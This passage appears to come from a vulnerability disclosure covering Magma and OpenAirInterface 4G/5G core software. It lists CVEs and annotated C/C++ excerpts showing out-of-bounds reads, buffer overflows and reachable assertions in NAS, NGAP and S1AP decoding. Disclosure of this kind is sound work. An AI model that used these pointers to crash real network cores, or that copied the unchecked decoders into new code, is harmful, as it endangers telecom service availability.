<h3 id="nas-protocol-vulnerabilities-1">NAS Protocol Vulnerabilities</h3>

<p><strong>CVE-2024-24425</strong> (<strong>VULN-C01</strong>):</p>

<p>Magma v1.8.0 and OAI EPC
Federation v1.20 were discovered to contain an out-of-bounds read in the
amf_as_establish_req function at /tasks/amf/amf_as.cpp. This
vulnerability allows attackers to cause a Denial of Service (DoS) via a
crafted NAS packet.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/amf/amf_as.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">status_code_e</span> <span class="nf">amf_as_establish_req</span><span class="p">(</span><span class="n">amf_as_establish_t</span><span class="o">*</span> <span class="n">msg</span><span class="p">,</span>
                                          <span class="kt">int</span><span class="o">*</span> <span class="n">amf_cause</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">OAILOG_FUNC_IN</span><span class="p">(</span><span class="n">LOG_AMF_APP</span><span class="p">);</span>
  <span class="n">amf_security_context_t</span><span class="o">*</span> <span class="n">amf_security_context</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="n">amf_nas_message_decode_status_t</span> <span class="n">decode_status</span><span class="p">;</span>
  <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">decode_status</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">decode_status</span><span class="p">));</span>
  <span class="kt">int</span> <span class="n">decoder_rc</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="n">status_code_e</span> <span class="n">rc</span> <span class="o">=</span> <span class="n">RETURNerror</span><span class="p">;</span>
  <span class="n">tai_t</span> <span class="n">originating_tai</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
  <span class="n">amf_nas_message_t</span> <span class="n">nas_msg</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
  <span class="n">ue_m5gmm_context_s</span><span class="o">*</span> <span class="n">ue_m5gmm_context</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="n">ue_m5gmm_context</span> <span class="o">=</span> <span class="n">amf_ue_context_exists_amf_ue_ngap_id</span><span class="p">(</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">ue_id</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">ue_m5gmm_context</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">OAILOG_ERROR</span><span class="p">(</span><span class="n">LOG_AMF_APP</span><span class="p">,</span>
                 <span class="s">"ue context not found for the ue_id="</span> <span class="n">AMF_UE_NGAP_ID_FMT</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
                 <span class="n">msg</span><span class="o">-&gt;</span><span class="n">ue_id</span><span class="p">);</span>
    <span class="n">OAILOG_FUNC_RETURN</span><span class="p">(</span><span class="n">LOG_AMF_APP</span><span class="p">,</span> <span class="n">rc</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">amf_context_t</span><span class="o">*</span> <span class="n">amf_ctx</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="n">amf_ctx</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">ue_m5gmm_context</span><span class="o">-&gt;</span><span class="n">amf_context</span><span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">amf_ctx</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">IS_AMF_CTXT_PRESENT_SECURITY</span><span class="p">(</span><span class="n">amf_ctx</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">amf_security_context</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">amf_ctx</span><span class="o">-&gt;</span><span class="n">_security</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  
  <span class="k">if</span> <span class="p">((</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x0</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x5c</span><span class="p">))</span> <span class="p">{</span>
    <span class="c1">// ^ data length not checked before accessed--OOB read</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span> <span class="n">j</span> <span class="o">&lt;</span> <span class="n">blength</span><span class="p">(</span><span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">,</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
    <span class="p">}</span>
    <span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">slen</span> <span class="o">=</span> <span class="n">msg</span><span class="o">-&gt;</span><span class="n">nas_msg</span><span class="o">-&gt;</span><span class="n">slen</span> <span class="o">-</span> <span class="mi">7</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div></div>

<h3 id="ngap-protocol-vulnerabilities-2">NGAP Protocol Vulnerabilities</h3>

<p><strong>CVE-2024-24426</strong> (<strong>VULN-C02</strong>-<strong>VULN-C20</strong>):</p>

<p>Reachable assertions in the NGAP_FIND_PROTOCOLIE_BY_ID function of
OpenAirInterface Magma v1.8.0 and OAI EPC Federation v1.2.0 allow
attackers to cause a Denial of Service (DoS) via a crafted NGAP packet.
These assertions manifest in 19 locations that require conditional branches to handle.</p>

<p>The following method will assign <code class="language-plaintext highlighter-rouge">ie</code> a pointer to the Information Element requested:</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/ngap/ngap_common.h</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">NGAP_FIND_PROTOCOLIE_BY_ID</span><span class="p">(</span><span class="n">Ngap_NGSetupRequestIEs_t</span><span class="p">,</span> <span class="n">ie</span><span class="p">,</span> <span class="n">container</span><span class="p">,</span>
                             <span class="n">Ngap_ProtocolIE_ID_id_GlobalRANNodeID</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
</code></pre></div></div>

<p>Magma will assert within the NGAP_FIND_PROTOCOLIE_BY_ID macro if the requested field is absent from the decoded ASN.1 payload. This macro is dispersed across 19 different locations in the Mamga AMF; each of these locations required a check on whether the <code class="language-plaintext highlighter-rouge">ie</code> is null in addition to removing the assertion in order to properly mitigate this threat.</p>

<h2 id="magmaopenairinterface-lte">Magma/OpenAirInterface (LTE)</h2>

<p><em>Note: Magma and OAI use the same software for portions of their LTE core</em></p>

<h3 id="nas-protocol-vulnerabilities-2">NAS Protocol Vulnerabilities</h3>

<p><strong>CVE-2023-37024</strong> (<strong>VULN-D01</strong>):</p>

<p>The Magma MME contains a reachable assertion when handling the <code class="language-plaintext highlighter-rouge">Emergency Number List</code> field of a
received NAS packet. This assertion is due to an unfinished routine in parsing the field.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_mm_ies.c</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_emergency_number_list_ie</span><span class="p">(</span>
    <span class="n">emergency_number_list_t</span><span class="o">*</span> <span class="n">emergencynumberlist</span><span class="p">,</span>
    <span class="k">const</span> <span class="kt">bool</span> <span class="n">iei_present</span><span class="p">,</span>
    <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span>
    <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span>
<span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">e</span><span class="o">-&gt;</span><span class="n">lengthofemergencynumberinformation</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
        <span class="n">i</span> <span class="o">&lt;</span> <span class="n">EMERGENCY_NUMBER_MAX_DIGITS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">e</span><span class="o">-&gt;</span><span class="n">number_digit</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xFF</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">Fatal</span><span class="p">(</span><span class="s">"TODO emergency_number_list_t-&gt;next"</span><span class="p">);</span>
    <span class="c1">// ^ Reachable assertion</span>

    <span class="k">return</span> <span class="n">decoded</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37029</strong> (<strong>VULN-D06</strong>):</p>

<p>The S1AP handling routines of Magma MME contain an assertion failure when a received NAS packet is 
larger than 1000 bytes in length. This reachable assertion can be trigggered by an adversary sending an unexpectedly large NAS payload to the MME.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/s1ap/s1ap_mme_itti_messaging.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">s1ap_mme_itti_s1ap_initial_ue_message</span><span class="p">(</span>
    <span class="k">const</span> <span class="n">sctp_assoc_id_t</span> <span class="n">assoc_id</span><span class="p">,</span> <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">enb_id</span><span class="p">,</span>
    <span class="k">const</span> <span class="n">enb_ue_s1ap_id_t</span> <span class="n">enb_ue_s1ap_id</span><span class="p">,</span> <span class="k">const</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">nas_msg</span><span class="p">,</span>
    <span class="k">const</span> <span class="kt">size_t</span> <span class="n">nas_msg_length</span><span class="p">,</span> <span class="k">const</span> <span class="n">tai_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">tai</span><span class="p">,</span>
    <span class="k">const</span> <span class="n">ecgi_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">ecgi</span><span class="p">,</span> <span class="k">const</span> <span class="kt">long</span> <span class="n">rrc_cause</span><span class="p">,</span>
    <span class="k">const</span> <span class="n">s_tmsi_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">opt_s_tmsi</span><span class="p">,</span> <span class="k">const</span> <span class="n">csg_id_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">opt_csg_id</span><span class="p">,</span>
    <span class="k">const</span> <span class="n">gummei_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">opt_gummei</span><span class="p">,</span>
    <span class="k">const</span> <span class="kt">void</span><span class="o">*</span> <span class="k">const</span> <span class="n">opt_cell_access_mode</span><span class="p">,</span>           <span class="c1">// unused</span>
    <span class="k">const</span> <span class="kt">void</span><span class="o">*</span> <span class="k">const</span> <span class="n">opt_cell_gw_transport_address</span><span class="p">,</span>  <span class="c1">// unused</span>
    <span class="k">const</span> <span class="kt">void</span><span class="o">*</span> <span class="k">const</span> <span class="n">opt_relay_node_indicator</span><span class="p">)</span>       <span class="c1">// unused</span>
<span class="p">{</span>
    <span class="n">MessageDef</span><span class="o">*</span> <span class="n">message_p</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

    <span class="n">OAILOG_FUNC_IN</span><span class="p">(</span><span class="n">LOG_S1AP</span><span class="p">);</span>
    <span class="n">AssertFatal</span><span class="p">((</span><span class="n">nas_msg_length</span> <span class="o">&lt;</span> <span class="mi">1000</span><span class="p">),</span> <span class="s">"Bad length for NAS message %lu"</span><span class="p">,</span>
                <span class="n">nas_msg_length</span><span class="p">);</span>
    <span class="c1">// ^ oversized NAS payload triggers reachable assertion</span>
    
    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2023-37032</strong> (<strong>VULN-D09</strong>):</p>

<p>The Magma MME uses a fixed-size buffer with no length check when handling emergency numbers listed
in the <code class="language-plaintext highlighter-rouge">Emergency Number List</code> field of a received NAS packet. Note that the threat of this attack
is limited to Denial of Service due to <strong>CVE-2023-37024</strong>; however, the two vulnerabilities have
unique causes and involved distinct fixes.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_mm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_emergency_number_list_ie</span><span class="p">(</span>
    <span class="n">emergency_number_list_t</span><span class="o">*</span> <span class="n">emergencynumberlist</span><span class="p">,</span>
    <span class="k">const</span> <span class="n">bool</span> <span class="n">iei_present</span><span class="p">,</span>
    <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span>
    <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span>
<span class="p">)</span> <span class="p">{</span>
    <span class="c1">// ...</span>

    <span class="n">e</span><span class="o">-&gt;</span><span class="n">lengthofemergencynumberinformation</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">);</span>
    <span class="c1">// ^ if this valaue is &gt; 20...</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="n">emergencynumberlist</span><span class="o">-&gt;</span><span class="n">emergencyservicecategoryvalue</span> <span class="o">=</span>
        <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x1f</span><span class="p">;</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">e</span><span class="o">-&gt;</span><span class="n">lengthofemergencynumberinformation</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">e</span><span class="o">-&gt;</span><span class="n">number_digit</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">);</span>
        <span class="c1">// ^ then this will overflow the bounds of `number_digit`</span>
        <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="n">e</span><span class="o">-&gt;</span><span class="n">lengthofemergencynumberinformation</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
        <span class="n">i</span> <span class="o">&lt;</span> <span class="n">EMERGENCY_NUMBER_MAX_DIGITS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">e</span><span class="o">-&gt;</span><span class="n">number_digit</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xFF</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24419</strong> (<strong>VULN-D16</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> packet containing a <code class="language-plaintext highlighter-rouge">Bearer Resource Modification Request</code> with a a malformed Traffic Flow Template packet filter can cause an out-of-bounds read past the end of a buffer.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_sm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">int</span> <span class="nf">decode_traffic_flow_template_packet_filter</span><span class="p">(</span>
        <span class="n">packet_filter_t</span><span class="o">*</span> <span class="n">packetfilter</span><span class="p">,</span> <span class="k">const</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="k">const</span> <span class="n">buffer</span><span class="p">,</span>
        <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">j</span><span class="p">;</span>
    <span class="c1">// ...</span>

    <span class="n">packetfilter</span><span class="o">-&gt;</span><span class="n">identifier</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0x0f</span><span class="p">;</span>
    <span class="c1">// ^ no bound check prior to pulling bytes off of wire</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    
    <span class="cm">/*
     * Packet filter evaluation precedence
     */</span>
    <span class="n">IES_DECODE_U8</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">packetfilter</span><span class="o">-&gt;</span><span class="n">eval_precedence</span><span class="p">);</span>
    <span class="cm">/*
     * Length of the Packet filter contents field
     */</span>
    <span class="kt">uint8_t</span> <span class="n">pkflen</span><span class="p">;</span>

    <span class="n">IES_DECODE_U8</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">pkflen</span><span class="p">);</span>
    <span class="c1">// ^ likewise, more bytes read from wire prior to check</span>
    <span class="cm">/*
    * Packet filter contents
    */</span>
    <span class="kt">int</span> <span class="n">pkfstart</span> <span class="o">=</span> <span class="n">decoded</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="n">decoded</span> <span class="o">-</span> <span class="n">pkfstart</span> <span class="o">&lt;</span> <span class="n">pkflen</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// ^ length field of packet not checked</span>

        <span class="c1">// Additional data pulled from `buffer` without length checks...</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">decoded</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24416</strong> (<strong>VULN-D17</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> containing a NAS payload with a malformed Access Point Name IE will trigger a buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_sm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_access_point_name_ie</span><span class="p">(</span><span class="n">access_point_name_t</span><span class="o">*</span> <span class="n">access_point_name</span><span class="p">,</span>
                                <span class="n">bool</span> <span class="n">is_ie_present</span><span class="p">,</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span>
                                <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">ielen</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="o">*</span><span class="n">access_point_name</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">is_ie_present</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">CHECK_PDU_POINTER_AND_LENGTH_DECODER</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span>
                                         <span class="n">ACCESS_POINT_NAME_IE_MIN_LENGTH</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
        <span class="n">CHECK_IEI_DECODER</span><span class="p">(</span><span class="n">SM_ACCESS_POINT_NAME_IEI</span><span class="p">,</span> <span class="o">*</span><span class="n">buffer</span><span class="p">);</span>
        <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">CHECK_PDU_POINTER_AND_LENGTH_DECODER</span><span class="p">(</span>
            <span class="n">buffer</span><span class="p">,</span> <span class="p">(</span><span class="n">ACCESS_POINT_NAME_IE_MIN_LENGTH</span> <span class="o">-</span> <span class="mi">1</span><span class="p">),</span> <span class="n">len</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">ielen</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">);</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="n">CHECK_LENGTH_DECODER</span><span class="p">(</span><span class="n">len</span> <span class="o">-</span> <span class="n">decoded</span><span class="p">,</span> <span class="n">ielen</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;=</span> <span class="n">ielen</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">int</span> <span class="n">length_apn</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">);</span>
        <span class="c1">// ^ length field read from packet, not checked against buffer length</span>
        <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
        <span class="o">*</span><span class="n">access_point_name</span> <span class="o">=</span> <span class="n">blk2bstr</span><span class="p">((</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">),</span> <span class="n">length_apn</span><span class="p">);</span>
        <span class="c1">// ^ resulting string reads past the end of `buffer`</span>
        <span class="n">decoded</span> <span class="o">+=</span> <span class="n">length_apn</span><span class="p">;</span>
        
        <span class="c1">// ...</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">decoded</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24424</strong> (<strong>VULN-D18</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload with a malformed Access Point Name IE will trigger an assertion during decoding.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_sm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_access_point_name_ie</span><span class="p">(</span><span class="n">access_point_name_t</span><span class="o">*</span> <span class="n">access_point_name</span><span class="p">,</span>
                                <span class="n">bool</span> <span class="n">is_ie_present</span><span class="p">,</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span>
                                <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">ielen</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="o">*</span><span class="n">access_point_name</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">is_ie_present</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">CHECK_PDU_POINTER_AND_LENGTH_DECODER</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span>
                                            <span class="n">ACCESS_POINT_NAME_IE_MIN_LENGTH</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span>
        <span class="n">CHECK_IEI_DECODER</span><span class="p">(</span><span class="n">SM_ACCESS_POINT_NAME_IEI</span><span class="p">,</span> <span class="o">*</span><span class="n">buffer</span><span class="p">);</span>
        <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
        <span class="n">CHECK_PDU_POINTER_AND_LENGTH_DECODER</span><span class="p">(</span>
            <span class="n">buffer</span><span class="p">,</span> <span class="p">(</span><span class="n">ACCESS_POINT_NAME_IE_MIN_LENGTH</span> <span class="o">-</span> <span class="mi">1</span><span class="p">),</span> <span class="n">len</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">ielen</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">);</span>
    <span class="c1">// ^ ielen determined by packet</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>

    <span class="c1">// ...</span>

    <span class="c1">// apn terminated by '.' ?</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">length_apn</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">AssertFatal</span><span class="p">(</span><span class="n">ielen</span> <span class="o">&gt;=</span> <span class="n">length_apn</span><span class="p">,</span>
                    <span class="s">"Mismatch in lengths remaining ielen %d apn length %d"</span><span class="p">,</span>
                    <span class="n">ielen</span><span class="p">,</span> <span class="n">length_apn</span><span class="p">);</span>
        <span class="c1">// ^ attacker can select `ielen` value that will trigger this assertion</span>
        <span class="n">bcatblk</span><span class="p">(</span><span class="o">*</span><span class="n">access_point_name</span><span class="p">,</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">),</span> <span class="n">length_apn</span><span class="p">);</span>
        <span class="n">decoded</span> <span class="o">+=</span> <span class="n">length_apn</span><span class="p">;</span>
        <span class="n">ielen</span> <span class="o">=</span> <span class="n">ielen</span> <span class="o">-</span> <span class="n">length_apn</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1">// ...</span>

    <span class="k">return</span> <span class="n">decoded</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24420</strong> (<strong>VULN-D19</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload containing a <code class="language-plaintext highlighter-rouge">Linked TI IE</code> will trigger a fatal assertion.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/lib/3gpp/3gpp_24.008_sm_ies.c</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_linked_ti_ie</span><span class="p">(</span><span class="n">linked_ti_t</span><span class="o">*</span> <span class="n">linkedti</span><span class="p">,</span> <span class="k">const</span> <span class="n">bool</span> <span class="n">iei_present</span><span class="p">,</span>
                        <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">const</span> <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Fatal</span><span class="p">(</span><span class="s">"TODO Implement decode_linked_ti_ie"</span><span class="p">);</span>
    <span class="c1">// ^ reachable by sending packet containing a `Linked TI IE`</span>
    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>CVE-2024-24418</strong> (<strong>VULN-D20</strong>):</p>

<p>An <code class="language-plaintext highlighter-rouge">Initial UE Message</code> S1AP packet containing a NAS payload containing a malformed PDN Address will trigger a buffer overflow.</p>

<p><code class="language-plaintext highlighter-rouge">lte/gateway/c/core/oai/tasks/nas/ies/PdnAddress.cpp</code>:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">decode_pdn_address</span><span class="p">(</span><span class="n">PdnAddress</span><span class="o">*</span> <span class="n">pdnaddress</span><span class="p">,</span> <span class="kt">uint8_t</span> <span class="n">iei</span><span class="p">,</span> <span class="kt">uint8_t</span><span class="o">*</span> <span class="n">buffer</span><span class="p">,</span>
                       <span class="kt">uint32_t</span> <span class="n">len</span><span class="p">)</span> <span class="p">{</span>
  <span class="kt">int</span> <span class="n">decoded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="c1">// ^ `len` unsigned, `decoded` signed</span>
  <span class="kt">uint8_t</span> <span class="n">ielen</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">decode_result</span><span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">iei</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">CHECK_IEI_DECODER</span><span class="p">(</span><span class="n">iei</span><span class="p">,</span> <span class="o">*</span><span class="n">buffer</span><span class="p">);</span>
    <span class="n">decoded</span><span class="o">++</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="c1">// Suppose len == 0. Then this will address out of bounds...</span>
  <span class="n">ielen</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">buffer</span> <span class="o">+</span> <span class="n">decoded</span><span class="p">);</span>
